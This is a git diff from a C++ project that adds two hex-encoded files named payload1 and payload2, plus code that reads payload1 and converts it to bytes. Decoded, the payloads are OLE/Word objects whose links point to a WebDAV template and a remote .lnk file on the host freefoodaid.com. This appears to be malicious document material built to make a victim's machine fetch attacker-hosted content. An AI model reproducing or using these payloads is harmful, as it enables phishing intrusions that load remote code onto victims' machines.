diff --git a/.clangd b/.clangd new file mode 100644 index 0000000..34af8e4 --- /dev/null +++ b/.clangd @@ -0,0 +1,2 @@ +CompileFlags: + CompilationDatabase: output \ No newline at end of file diff --git a/.vscode/settings.json b/.vscode/settings.json index 16d885a..c62376a 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -13,5 +13,6 @@ "**/*.rpa": true, "**/*.rpymc": true, "**/cache/": true - } + }, + "clangd.path": "/usr/bin/clangd" } \ No newline at end of file diff --git a/payload1.txt b/payload1.txt new file mode 100644 index 0000000..091133f --- /dev/null +++ b/payload1.txt @@ -0,0 +1 @@ +010500000100000010000000576F72642E446F63756D656E742E3800570000005C5C66726565666F6F646169642E636F6D4038305C646176777777726F6F745C646F63756D656E74735C5C74656D706C6174655F325F322E646F630000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010500000500000010000000576F72642E446F63756D656E742E38000E0000004E0A00000100090000032705000003003604000000003604000026060F006208574D46430100000000000100B32A0000000001000000400800000000000040080000010000006C00000000000000000000003A000000790000000000000000000000E53C00007103000020454D4600000100400800001C0000000300000000000000000000000000000061130000681B0000D2000000290100000000000000000000000000005034030028880400460000002C00000020000000454D462B014001001C000000100000000210C0DB000000005802000058020000460000005C00000050000000454D462B224004000C000000000000001E4009000C00000000000000244001000C000000000000003040020010000000040000000000803F214007000C00000000000000044000000C00000000000000160000000C0000001800000052000000700100000100000010000000000000000000000000000000BC0200000000000001020222530079007300740065006D000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006187900200000000000000000000000000000000000060C8CA9F9002000000000000000000000000000000000000C00B6287900200005D453DF85B780000210000000000000058D371D2F87F0000000000000000000040C8FFBAA9000000BDAC61D0F87F000000000000000000000C29ECE3F87F00000000000000000000500000000000000030D371D2F87F000000000000A9000000B12C000000000000941FC7E5F87F0000D2521ADC26C500000700000000000000E8C8FFBAA9000000A827ECE36476000800000000250000000C00000001000000250000000C0000000E000080280000000C000000010000000A0000001000000000000000000000000900000010000000620E0000D000000052000000700100000100000010000000000000000000000000000000BC0200000000000001020222530079007300740065006D0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000900200000000000000000000030000000000000027FCC037F97F0000000000000000000000006187900200002000000000000000000000000000000060C8CA9F9002000099BFFFBAA90000000200000000000000C00B628790020000ED3D3DF85B7800001A0000000000000058D371D2F87F0000000000000000000090BFFFBAA9000000BDAC61D0F87F000000000000000000000C29ECE3F87F00000000000000000000500000000000000030D371D2F87F000000000000A9000000B12C000000000000941FC7E5F87F000082251ADC26C5000007000000A900000038C0FFBAA9000000A827ECE36476000800000000250000000C00000001000000250000000C0000000E000080280000000C000000010000005200000070010000010000009CFFFFFF000000000000000000000000900100000000000004400022430061006C00690062007200690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000102402A09002000058D371D2F87F000000A5FFBAA9000000D1AD61D0F87F00000000000000000000E0A4FFBAA90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008D203DF85B78000003FE03000000000058D371D2F87F0000000000000000000070A4FFBAA9000000BDAC61D0F87F000000000000000000000C29ECE3F87F00000000000000000000500000000000000030D371D2F87F00000000000000000000B12C00003F000003941FC7E5F87F0000E23E1ADC26C50000070000231E00000018A5FFBAA9000000A827ECE36476000800000000250000000C00000001000000250000000C00000001000000250000000C00000001000000120000000C00000001000000180000000C00000000000002540000005400000000000000000000003A0000007900000001000000E174874039768740000000005F000000010000004C000000040000000000000000000000620E0000D000000050000000200000003B000000180000000C0000000000000252000000700100000200000010000000070000000000000000000000BC020000000000000102022241007200690061006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000D8CCFFBAA900000050CEFFBAA9000000E0CCFFBAA90000000000000000000000F0CCFFBAA90000000000000000000000FFFFFFFF00000000B0CCFFBAA9000000B4CCFFBAA9000000000000000000000000000000000000000000000000000000000000000000000000000000000000007D4B3DF85B780000000000000000000058D371D2F87F0000000000000000000020CAFFBAA9000000BDAC61D0F87F000000000000000000000C29ECE3F87F00000000000000000000500000000000000030D371D2F87F00000000000000000000B12C000000000000941FC7E5F87F000032531ADC26C500000000000000000000C8CAFFBAA9000000A827ECE36476000800000000250000000C00000002000000250000000C00000002000000460000003400000028000000454D462B2A40000024000000180000000000803F00000080000000800000803F0000008000000080460000001C00000010000000454D462B024000000C000000000000000E000000140000000000000010000000140000000400000003010800050000000B0200000000050000000C021D000702040000002E0118001C000000FB020200000000000000BC02000000000102022253797374656D0000000000000000000000000000000000000000000000000000040000002D0100001C000000FB020200010000000000BC02000000000102022253797374656D0000000000000000000000000000000000000000000000000000040000002D01010004000000F00100001C000000FB020200000000000000BC02000000000102022253797374656D0000000000000000000000000000000000000000000000000000040000002D010000040000002D01010004000000F00100001C000000FB02F2FF0000000000009001000000000440002243616C6962726900000000000000000000000000000000000000000000000000040000002D010000040000002D010000040000002D0100000400000002010100050000000902000000020D000000320A0D000000010004000000000007021D0020000800050000000902000000021C000000FB020200010000000000BC020000000001020222417269616C000000000000000000000000000000000000000000000000000000040000002D010200040000002D010200030000000000 \ No newline at end of file diff --git a/payload2.txt b/payload2.txt new file mode 100644 index 0000000..2582e5b --- /dev/null +++ b/payload2.txt @@ -0,0 +1 @@ +01050000020000001100000066696C65000000000000000000000000000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF01000000C32AB2EAC130CF11A7EB0000C05BAE0B000000000000000000000000E03F2007985CDB0103000000000200000000000043004F004E00540045004E005400530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201FFFFFFFF02000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000B0010000000000005200690063006800450064006900740046006C0061006700730000000000000000000000000000000000000000000000000000000000000000000000000000001C000200FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000070000000C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000200000003000000040000000500000006000000FEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4C000000B9030000DC0100000100000000000000000000000000000000000000000000004C000000000000000000000001000000E0D057007335CF11AE6908002B2E126200000000000000004C0000000114020000000000C0000000000000468100000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000120114001F0080531C87A0426910A2EA08002B30309DFC00618000000000660069006C0065003A002F002F00660072006500650066006F006F0064006100690064002E0063006F006D004000380030002F0064006F00630075006D0065006E00740073002F0032005F0032002E006C004E006B003F0069006E00690074003D00310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000080000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000 \ No newline at end of file diff --git a/src/main.cc b/src/main.cc index 90f6a07..84b5ed2 100644 --- a/src/main.cc +++ b/src/main.cc @@ -1,27 +1,26 @@ -#include #include "encryption/util/helper.h" #include +#include int main() { - std::ifstream payload1_file; + std::ifstream payload1_file("./payload1.txt"); + if (!payload1_file) { + std::cout << "파일 열기 실패\n"; + return 1; + } + payload1_file.seekg(0, std::ios::end); - payload1_file.open("payload1.txt"); - if (!payload1_file) { - std::cout << "파일 열기 실패\n"; - return 1; - } - payload1_file.seekg(0, std::ios::end); + // 현재 위치 = 파일 크기 + std::streampos size = payload1_file.tellg(); - // 현재 위치 = 파일 크기 - std::streampos size = payload1_file.tellg(); - - std::string payload1; - payload1.resize(size); - payload1_file.read(payload1.data(), size); - - std::cout << "red: " << payload1 << std::endl; + std::string payload1; + payload1.resize(size); + payload1_file >> payload1; + // payload1_file.read(payload1.data(), size); - auto bytes = bedrock::util::HexStrToBytes(payload1); + std::cout << "red: " << payload1 << std::endl; - return 0; + auto bytes = bedrock::util::HexStrToBytes(payload1); + + return 0; } \ No newline at end of file